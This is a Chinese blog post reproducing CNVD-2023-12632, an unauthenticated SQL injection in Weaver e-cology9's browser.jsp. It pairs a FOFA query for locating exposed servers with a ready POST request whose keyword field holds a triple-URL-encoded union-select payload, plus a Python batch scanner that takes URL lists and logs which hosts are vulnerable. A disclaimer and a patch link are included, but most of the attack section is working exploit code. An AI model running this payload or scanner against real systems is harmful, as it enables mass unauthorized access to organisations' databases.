• CNVD-2023-12632:泛微E-cology9 browserjsp SQL注入漏洞复现 [附POC]


    泛微E-cology9 browserjsp SQL注入漏洞(CNVD-2023-12632)漏洞复现 [附POC]

    0x01 前言

    免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

    0x02 漏洞描述

    泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。

    由于e-cology OA对用户输入内容的验证存在缺陷。未经身份验证的远程攻击者通过向目标系统发送特制的字符串,最终可实现获取目标数据库中的敏感信息。

    0x03 影响版本

    泛微e-cology V9<10.56
    
    • 1

    0x04 漏洞环境

    FOFA语法:app=“泛微-协同商务系统”
    在这里插入图片描述

    0x05 漏洞复现

    1.访问漏洞环境

    在这里插入图片描述

    2.构造POC

    POC (POST)

    POST /mobile/%20/plugin/browser.jsp HTTP/1.1
    Host: ip:port
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 649
    
    isDis=1&browserTypeId=269&keyword=%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%38%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%33%33%25%32%35%25%33%35%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%35%25%33%36%25%32%35%25%33%34%25%33%35%25%32%35%25%33%35%25%33%32%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%39%25%32%35%25%33%34%25%36%36%25%32%35%25%33%34%25%36%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%37
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    PS:keyword参数后面的值是以下语句经过三次url编码后得到的。

    a' union select 1,''+(SELECT @@VERSION)+'
    
    • 1

    在这里插入图片描述

    3.复现

    1.发送SQL注入查询数据库版本的数据包。
    在这里插入图片描述

    2.批量验证脚本

    地址:

    https://github.com/SharpKean/CNVD-2023-12632_POC
    
    • 1
    import requests
    from termcolor import colored
    import signal
    
    # Disable SSL certificate verification
    requests.packages.urllib3.disable_warnings()
    
    output_file = None  # 全局变量
    
    
    def check_url(url, output=None):
        headers = {
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "zh-CN,zh;q=0.9",
            "Connection": "close"
        }
        proxies = {
            'http': 'http://127.0.0.1:8080',
            'https': 'http://127.0.0.1:8080'
        }
    
        data = {
            "isDis": "1",
            "browserTypeId": "269",
            "keyword": "%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%38%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%33%33%25%32%35%25%33%35%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%35%25%33%36%25%32%35%25%33%34%25%33%35%25%32%35%25%33%35%25%33%32%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%39%25%32%35%25%33%34%25%36%36%25%32%35%25%33%34%25%36%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%37"
        }
    
        try:
            modified_url = url + '/mobile/%20/plugin/browser.jsp'
            response = requests.post(modified_url, data=data, headers=headers, verify=False, timeout=3)
            content = response.text
    
            if "show2" in content:
                result = colored(url + " 存在", 'red')
    
                if output:
                    with open(output, 'a') as file:  # 以追加模式打开文件
                        file.write(url + '\n')
    
                print(result)  # 即时打印结果
            else:
                result = url + " 不存在"
                print(result)  # 即时打印结果
    
        except requests.exceptions.RequestException as e:
            pass  # 不进行任何操作,直接请求下一个URL
    
    
    def check_urls_from_file(filename, output=None):
        with open(filename, 'r') as file:
            url_list = file.read().strip().split('\n')
    
        for url in url_list:
            check_url(url, output)
    
            # 捕获中断信号
            signal.signal(signal.SIGINT, handle_interrupt)
    
    
    def handle_interrupt(signum, frame):
        global output_file
    
        # 在捕获中断时保存当前扫描结果,并关闭文件
        if output_file:
            output_file.close()
    
        print("\n扫描已中断并保存当前结果。")
        exit()
    
    
    def main():
        global output_file
    
        parser = argparse.ArgumentParser(description='CNVD-2023-12632检测POC')
        parser.add_argument('-u', '--url', help='检测单个URL')
        parser.add_argument('-r', '--file', help='从文本中批量检测URL')
        parser.add_argument('-o', '--output', help='将检测到的输出到文本中')
        args = parser.parse_args()
    
        if args.output:
            output_file = open(args.output, 'a')  # 以追加模式打开输出文件
    
        if args.url:
            check_url(args.url, args.output)
        elif args.file:
            check_urls_from_file(args.file, args.output)
        else:
            parser.print_help()
    
        # 注册捕获中断信号的处理程序
        signal.signal(signal.SIGINT, handle_interrupt)
    
        # 关闭输出文件
        if output_file:
            output_file.close()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96

    PS:使用方法:

    -h		帮助
    -u		检测单个URL
    -r		读取文件批量检测
    -o		将检测到的输出到文本中
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    0x06 修复建议

    厂商已经更新补丁,修复方案:

     https://www.weaver.com.cn/cs/securityDownload.asp#
    
    • 1
  • 相关阅读:
    Django路由Path方法
    爬虫软件是什么意思
    buildadmin+tp8表格操作(3)----表头上方按钮绑定事件处理,实现功能(选中或取消指定行)
    Java实现PDF读取
    elasticsearch 8.X新特性
    悲观模式下分库分表合并迁移
    【Python】进阶学习:OpenCV--一文详解cv2.namedWindow()
    坐公交:内外向乘客依序选座(python字典、字符串、元组)
    【深度学习】 Python 和 NumPy 系列教程(十六):Matplotlib详解:2、3d绘图类型(2)3D散点图(3D Scatter Plot)
    Java内存区域介绍以及JDK1.8内存变化
  • 原文地址:https://blog.csdn.net/weixin_48539059/article/details/134556169